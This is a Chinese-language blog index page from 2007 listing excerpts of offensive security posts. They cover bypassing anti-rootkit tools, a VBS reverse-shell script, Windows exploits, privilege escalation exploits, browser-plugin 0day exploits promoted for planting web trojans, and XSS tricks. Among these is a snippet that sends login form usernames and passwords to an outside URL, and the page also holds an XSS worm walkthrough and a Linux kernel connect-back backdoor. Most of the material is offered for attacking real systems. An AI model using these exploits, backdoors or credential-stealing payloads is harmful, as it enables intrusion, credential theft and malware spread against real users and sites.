icesword.exe 裝載這個(gè)驅(qū)動(dòng)，這個(gè)驅(qū)動(dòng)安裝后就不會(huì)卸載。直到系統(tǒng)重新啟動(dòng)。這可能是因?yàn)轵?qū)動(dòng)中調(diào)用了
PsSetCreateThreadNotifyRoutine 函數(shù).下面是這個(gè)函數(shù)在 ddk 中的介紹。
........
閱讀全文

posted @ 2007-12-27 22:01 009 閱讀(688) | 評(píng)論 (0) | 編輯收藏

利用偽造內(nèi)核文件來(lái)繞過(guò)IceSword的檢測(cè)(ZT)

摘要: 一、為什么需要偽造內(nèi)核：

IceSword（以下簡(jiǎn)稱(chēng)IS）為了防止一些關(guān)鍵系統(tǒng)函數(shù)（包括所有服務(wù)中斷表中的函數(shù)以及IS驅(qū)動(dòng)部分要使用到的一些關(guān)鍵函數(shù)）被 patch，它直接讀取內(nèi)核文件（以下簡(jiǎn)稱(chēng)“ntoskrnl.exe”），然后自己分析ntoskrnl.exe 的PE結(jié)構(gòu)來(lái)獲取關(guān)鍵系統(tǒng)函數(shù)的原始代碼并且把當(dāng)前內(nèi)核中所有的關(guān)鍵系統(tǒng)函數(shù)還原為windows默認(rèn)狀態(tài)，這樣保證了IS使用到的函數(shù)不被patch 過(guò)。也許你會(huì)想如果我們把還原后的函數(shù)再進(jìn)行patch不還是能躲的過(guò)去嗎？筆者也試過(guò)
.....................
閱讀全文

posted @ 2007-12-27 21:58 009 閱讀(925) | 評(píng)論 (0) | 編輯收藏

WIN下獲取kernel基址的shellcode探討(ZT)

摘要: [經(jīng)典溢出攻擊流程]
———————————
1. 查找Kernel32.dll基地址；
2. 查找GetProcAddress()函數(shù)地址；
3. 查找其它API函數(shù)地址；
4. CreateProcess()；
5. 遠(yuǎn)程連接。

我們都知道WINDOWS的系統(tǒng)功能不像UNIX的系統(tǒng)調(diào)用那樣實(shí)現(xiàn)，由于WINDOWS版本的不斷更新，使得系統(tǒng)調(diào)用對(duì)SHELLCODE幾乎起不到作用。
但是WINDOWS是靠DLL動(dòng)態(tài)鏈接庫(kù)來(lái)實(shí)現(xiàn)，這就是說(shuō)，如果能從KERNEL32.DLL中獲取LoadLibrary()和GetProcAddress()函數(shù)的地址，我們就可以調(diào)用WINDOWS下的所有函數(shù)了。
所以我們需要對(duì)KERNEL32.DLL進(jìn)行地址定位，這也是本文的目的。
................
閱讀全文

posted @ 2007-12-27 21:43 009 閱讀(1431) | 評(píng)論 (0) | 編輯收藏

SEH源碼賞析之C篇(ZT)

摘要:
1.起因
C++程序員對(duì)try,catch,throw都應(yīng)該很熟悉,能知道VC怎么實(shí)現(xiàn)它的人就不多了,不過(guò)網(wǎng)絡(luò)世界使很多人知道了它與SEH (structured exception handling）有密切關(guān)系,我也不例外,也是在若干年前從網(wǎng)絡(luò)知道了SEH,并且大致也知道SEH的流程.但是和多數(shù)人一樣在我的實(shí)踐也很少直接使用 SEH,對(duì)SEH也就僅限于網(wǎng)絡(luò)上一些文章的介紹.曾經(jīng)在用Windbg對(duì)某些軟件作分析,我遇到了斷點(diǎn)失效的情況,查找資料介紹是SEH中的 Handler清除了調(diào)試寄存器,在分析.....................
閱讀全文

posted @ 2007-12-27 21:36 009 閱讀(1214) | 評(píng)論 (1) | 編輯收藏

饒過(guò)現(xiàn)代Anti-Rookit工具的內(nèi)核模塊掃描(ZT)

摘要: 本文描述了一些方法，可以饒過(guò)目前主流的現(xiàn)代Anti-rootkit工具，包括但不限于:
Icesword 最新版
Gmer最新版
Rootkit unhooker 最新版
DarkSpy 最新版
AVG Anti-rootkit最新版
等等
................
閱讀全文

posted @ 2007-12-27 21:32 009 閱讀(494) | 評(píng)論 (0) | 編輯收藏

TCP版backshell的VBS腳本

摘要: '搞一個(gè)特殊的站準(zhǔn)備用的，沒(méi)想到，等寫(xiě)完了，洞補(bǔ)上了，郁悶
'by 009, baicker@hotmail.com
'date:071221

Dim revdata
set sock=WScript.createobject( "MSWinsock.Winsock" , "WSEvent_" )
set sc=createobject( "WScript.Shell" )
Set fso =CreateObject( "Scripting.FileSystemObject" )
sock.connect "127.0.0.1" , 1234
................

閱讀全文

posted @ 2007-12-22 16:19 009 閱讀(1116) | 評(píng)論 (0) | 編輯收藏

在同一個(gè)進(jìn)程空間運(yùn)行兩個(gè)程序(ZT)

摘要:
　　眾所周知，bo2k可以在一個(gè)指定的進(jìn)程空間(比如explorer.exe進(jìn)程)做為一個(gè)線(xiàn)程運(yùn)行。本文試圖找出一種方法，使得任意exe都可以在其他進(jìn)程中以線(xiàn)程運(yùn)行(當(dāng)然，這里說(shuō)的"任意"是有條件的，下面會(huì)講到)。
　　為行文簡(jiǎn)單起見(jiàn)，我把先加載的exe稱(chēng)為宿主，后加載的exe稱(chēng)為客戶(hù)。對(duì)于上面的例子，explorer.exe為宿主，bo2k.exe為客戶(hù)。
基本知識(shí)
　　每一個(gè)exe都有一個(gè)缺省加載基址，一般都是0x400000。如果實(shí)際加載基址和缺省基址相同，程序中的重定位表就不需要修正(fixup),否則，就必須修正重定位表；

閱讀全文

posted @ 2007-12-20 14:36 009 閱讀(1184) | 評(píng)論 (0) | 編輯收藏

Microsoft Jet Engine MDB File Parsing Stack Overflow Vulnerability for xp 2k3 (fixed)

摘要: 之前的反彈sc有問(wèn)題，請(qǐng)重新下載測(cè)試（071218）
閱讀全文

posted @ 2007-12-18 12:23 009 閱讀(942) | 評(píng)論 (0) | 編輯收藏

Windows Local Privilege Escalation Vulnerability Exploit(secdrv) for winxp & win2k3

摘要: secdrv local exp
winxp cn sp2, win2k3 cn sp1 測(cè)試通過(guò)

之前的版本只能xp下用，這個(gè)2k3也可以了，其實(shí)前段時(shí)間朋友給過(guò)我一個(gè)這個(gè)漏洞的1day，但是朋友的東西不能亂發(fā)，這個(gè)是自己寫(xiě)的，發(fā)出來(lái)大家惡心一下。閱讀全文

posted @ 2007-12-17 16:34 009 閱讀(1577) | 評(píng)論 (6) | 編輯收藏

收到同學(xué)寄給我的情書(shū)

posted @ 2007-12-15 21:58 009 閱讀(1092) | 評(píng)論 (2) | 編輯收藏

Microsoft Jet Engine MDB File Parsing Stack Overflow Vulnerability for xp 2k3

摘要: Win2k3_CN SP1 msjet40.dll ver 4.0.9025.0 測(cè)試成功
WinXP_CN SP2 msjet40.dll ver 4.0.8618.0 測(cè)試成功

mdb_d_exp.exe 為debug版本
mdb_r_exp.exe 為relrease版本
之前的反彈sc有問(wèn)題，請(qǐng)重新下載測(cè)試（071218）

閱讀全文

posted @ 2007-12-01 06:29 009 閱讀(1276) | 評(píng)論 (10) | 編輯收藏

搞定MDB最新溢出for win2003

posted @ 2007-11-30 03:14 009 閱讀(1088) | 評(píng)論 (0) | 編輯收藏

MS07-017 windows 2000 and windows xp sp2 真正修改能用版本(fixed)

摘要: 注：Windows2000_CN SP2(我只有這臺(tái)SP2的2k測(cè)試機(jī))，WindowsXP_CN SP2測(cè)試通過(guò)
網(wǎng)上流傳的都TMD垃圾不能用，不知道抄來(lái)抄去轉(zhuǎn)來(lái)轉(zhuǎn)去哪些代碼轉(zhuǎn)錯(cuò)了

這個(gè)是我自己修改過(guò)的
閱讀全文

posted @ 2007-11-26 22:47 009 閱讀(1050) | 評(píng)論 (2) | 編輯收藏

Windows Local Privilege Escalation Vulnerability Exploit

摘要: 小改了一下代碼，這下好用了

WinXP_CN SP2測(cè)試通過(guò)
Win2k3測(cè)試藍(lán)屏，注意保存文件哦閱讀全文

posted @ 2007-11-26 18:46 009 閱讀(1479) | 評(píng)論 (2) | 編輯收藏

Realplay ActiveX 0day 利用工具

摘要: 注：Windows2003_CN SP1 / WindowsXP_CN SP2 + RealPlay10.0 測(cè)試通過(guò)
好像10.5以下版本都中，這個(gè)似乎只能溢出一次，第一次溢出成功后，第二次開(kāi)始會(huì)有realplay修復(fù)數(shù)據(jù)庫(kù)的提示，點(diǎn)修復(fù)就中，取消不中

上次測(cè)試使用的"Windows 按鈕突破專(zhuān)家" 4.5K 溢出沒(méi)問(wèn)題，但是"iecv.exe"那個(gè)87K
溢出的時(shí)候老是看不到界面，其實(shí)已經(jīng)執(zhí)行（進(jìn)程中可以看到），不知道為什么(不知道是否大小問(wèn)題)

另：IE5不中，代碼中直接跳過(guò)了
閱讀全文

posted @ 2007-11-25 20:25 009 閱讀(789) | 評(píng)論 (7) | 編輯收藏

迅雷5 0day 利用工具

摘要: 迅雷官方最新版本迅雷(Thunder5.7.4.401)依然受此漏洞影響
掛馬相當(dāng)好用，只是如果用iframe，寬高不能為0
（pplayer.dll 組件版本號(hào)：1.2.3.49，CLSID:F3E70CEA-956E-49CC-B444-73AFE593AD7F）
閱讀全文

posted @ 2007-11-25 20:19 009 閱讀(640) | 評(píng)論 (0) | 編輯收藏

PSP 3.52 M33-2 播放UMD Video ISO(備忘)

posted @ 2007-11-23 11:05 009 閱讀(1116) | 評(píng)論 (0) | 編輯收藏

JavaScript加密解密7種方法

摘要: 本文一共介紹了七種javascript加密方法：

　　在做網(wǎng)頁(yè)時(shí)（其實(shí)是網(wǎng)頁(yè)木馬呵呵），最讓人煩惱的是自己辛辛苦苦寫(xiě)出來(lái)的客戶(hù)端IE運(yùn)行的javascript代碼常常被別人輕易的拷貝，實(shí)在讓自己的心里有點(diǎn)不是滋味，要知道自己寫(xiě)點(diǎn)東西也挺累的......^*^

　　但我們也應(yīng)該清楚地認(rèn)識(shí)到因?yàn)閖avascript代碼是在IE中解釋執(zhí)行，要想絕對(duì)的保密是不可能的，我們要做的就是盡可能的增大拷貝者復(fù)制的難度，讓他知難而退（但愿~!~），下面我結(jié)合自己這幾年來(lái)的實(shí)踐，及個(gè)人研究的心得，和大家一起來(lái)探討一下網(wǎng)頁(yè)中javascript代碼的加密解密技術(shù)。

　　以加密下面的javascript代碼為例：
......

閱讀全文

posted @ 2007-11-16 13:42 009 閱讀(939) | 評(píng)論 (0) | 編輯收藏

Unicode編碼表/0000-0FFF

posted @ 2007-11-16 10:24 009 閱讀(19451) | 評(píng)論 (3) | 編輯收藏

VC編譯優(yōu)化設(shè)置

摘要: VC- Project Setting-Debug-Project Option語(yǔ)法解釋

-優(yōu)化-
/O1 最小化空間 minimize space
/Op[-] 改善浮點(diǎn)數(shù)一致性 improve floating-pt consistency
/O2 最大化速度 maximize speed
/Os 優(yōu)選代碼空間 favor code space
/Oa 假設(shè)沒(méi)有別名 assume no aliasing
/Ot 優(yōu)選代碼速度 favor code speed
/Ob 內(nèi)聯(lián)展開(kāi)（默認(rèn) n=0） inline expansion (default n=0)
/Ow 假設(shè)交叉函數(shù)別名 assume cross-function aliasing
/Od 禁用優(yōu)化（默認(rèn)值） disable optimizations (default)
/Ox 最大化選項(xiàng)。(/Ogityb2 /Gs) maximum opts. (/Ogityb1 /Gs)
/Og 啟用全局優(yōu)化閱讀全文

posted @ 2007-11-16 10:20 009 閱讀(1896) | 評(píng)論 (0) | 編輯收藏

autorun.inf完全操作手冊(cè)(ZT)

摘要: 一、autorun.inf是windows下操縱光盤(pán)行為的一個(gè)文件，需要放在光盤(pán)根目錄下，部分操作對(duì)于硬盤(pán)也適用。
二、autorun.inf是可以被禁止的。方法如下：
點(diǎn)擊開(kāi)始->運(yùn)行，在文本框中輸入regedit或者regedt32。依次展開(kāi)HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Exploer，其中的NoDriveTypeAutoRun子鍵限制著Autorun的作用范圍，默認(rèn)為95（16進(jìn)制）。
................
閱讀全文

posted @ 2007-11-16 10:16 009 閱讀(598) | 評(píng)論 (0) | 編輯收藏

Flash純腳本生成餅圖(ZT)

posted @ 2007-11-16 10:09 009 閱讀(443) | 評(píng)論 (0) | 編輯收藏

清空代碼防止查看源代碼(ZT)

posted @ 2007-11-16 09:45 009 閱讀(562) | 評(píng)論 (0) | 編輯收藏

一些XSS小技巧(ZT)

摘要: 1.最短的動(dòng)態(tài)插入JS.
代碼:
<x/**/style=xss:expression(document.appendChild(document.createElement('script')).src='xss.js')>

2.獲取表單密碼.
代碼:
window.onload=function(){document.forms['login'].onsubmit=function(){var a=new Image();a.src="http://127.0.0.1/loveshell.php"+this.username.value+"&"+this.password.value;this.submit();}};
.......

閱讀全文

posted @ 2007-11-08 13:11 009 閱讀(1491) | 評(píng)論 (0) | 編輯收藏

程序多開(kāi)器

摘要: 使用OD反匯編修改NateOn，雖然很麻煩，最終還是搞定了，后來(lái)發(fā)現(xiàn)網(wǎng)上有段代碼，直接可以實(shí)現(xiàn)程序多開(kāi)，測(cè)試了MSN、NateOn沒(méi)問(wèn)題，代碼如下：

.386
.model flat, stdcall
option casemap :none

include windows.inc
include user32.inc
include kernel32.inc
includelib user32.lib
includelib kernel32.lib
............

閱讀全文

posted @ 2007-11-07 16:54 009 閱讀(774) | 評(píng)論 (0) | 編輯收藏

完整XSS wrom入侵流程(ZT)

摘要: 不說(shuō)廢話(huà)，且看怎么實(shí)現(xiàn)，我先拿SOHU BLOG做示范.

1.測(cè)試過(guò)濾字符,下面都是構(gòu)造XSS所需要的關(guān)鍵字符(未包含全角字符,空格是個(gè)TABLE,\/前是真正的空格),在個(gè)人檔案處看過(guò)濾了哪些.
’’;:!--"<javascript JAvaSCriPT>=&#{()} \/
結(jié)果
’’;:!--"=&#{()} // (&后是amp,論壇過(guò)濾了)
.........
閱讀全文

posted @ 2007-11-07 10:53 009 閱讀(443) | 評(píng)論 (0) | 編輯收藏

一個(gè)簡(jiǎn)單的Linux內(nèi)核后門(mén)原型(ZT)

摘要: 這是一個(gè)在內(nèi)核模塊中實(shí)現(xiàn)的反連后門(mén)，大家看看這于應(yīng)用層上的實(shí)現(xiàn)有什么不同吧，呵呵
/*
* Kernel mode connect backdoor,haha~
*
* just a demo module to teach you how to write a backdoor in kernel mode,
* i belive you can add more code to make it strong and powerful,wulala.
*
* by wzt <wzt#xsec.org>
*
*/
閱讀全文

posted @ 2007-10-25 12:20 009 閱讀(561) | 評(píng)論 (0) | 編輯收藏

VBS解決終端窗口中特殊快捷鍵問(wèn)題

摘要: 寫(xiě)程序麻煩，還要傳上去，幸好VBS每臺(tái)服務(wù)器應(yīng)該都可以運(yùn)行的吧，很少會(huì)又禁止的
使用SendKeys搞定
例如呼出Cain使用果如下腳本：）
Set WshShell= Wscript.CreateObject("Wscript.Shell")
Wscript.Sleep 1500
WshShell.SendKeys "%{PGUP}"

以下位SendKeys的相關(guān)使用方法等
............

閱讀全文

posted @ 2007-10-15 17:27 009 閱讀(1144) | 評(píng)論 (1) | 編輯收藏

2007年10月15日

公告

常用鏈接

留言簿(113)

隨筆分類(lèi)

隨筆檔案

文章分類(lèi)

相冊(cè)

Link

搜索

最新評(píng)論

閱讀排行榜

評(píng)論排行榜

酒水不犯茶水葉的離去，是風(fēng)的追求還是樹(shù)的不挽留？
BlogJava \| 首頁(yè) \| 發(fā)新隨筆 \| 發(fā)新文章 \| 聯(lián)系 \| 聚合 \| 管理	隨筆：325 文章：0 評(píng)論：612 引用：0